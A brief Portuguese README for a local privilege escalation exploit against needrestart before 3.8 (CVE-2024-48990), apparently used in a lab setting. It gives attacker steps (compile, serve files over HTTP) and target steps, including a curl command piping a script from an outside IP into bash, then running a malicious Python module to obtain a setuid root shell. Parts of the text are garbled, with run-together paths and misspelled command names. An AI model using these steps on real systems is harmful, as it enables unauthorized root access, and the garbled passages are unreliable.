
Exploit completo para needsrestart setuid root shell
Escalação de Privilégio Local no needrestart < 3.8 via injeção de PYTHONPATH.
PYTHONPATH=/tmp/.m de /proc/[pid]/environPYTHONPATH malicioso/tmp/.m/importlib/__init__.so (nossa biblioteca maliciosa)/tmp/rootbash/tmp/rootbash -p para shell rootPonto Chave: o needrestart confia em variáveis de ambiente de processos não privilegiados e as utiliza ao executar interpretadores como root.
Atacante:
./compile.sh
python3 -m http.server 8000
Alvo:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
O processo e.py deve travar e gerar root assim que o seguinte for executado em um segundo terminal:
sudo needsrestard
o primeiro terminal iniciará um shell root
Qualys Threat Research Unit - CVE-2024-48990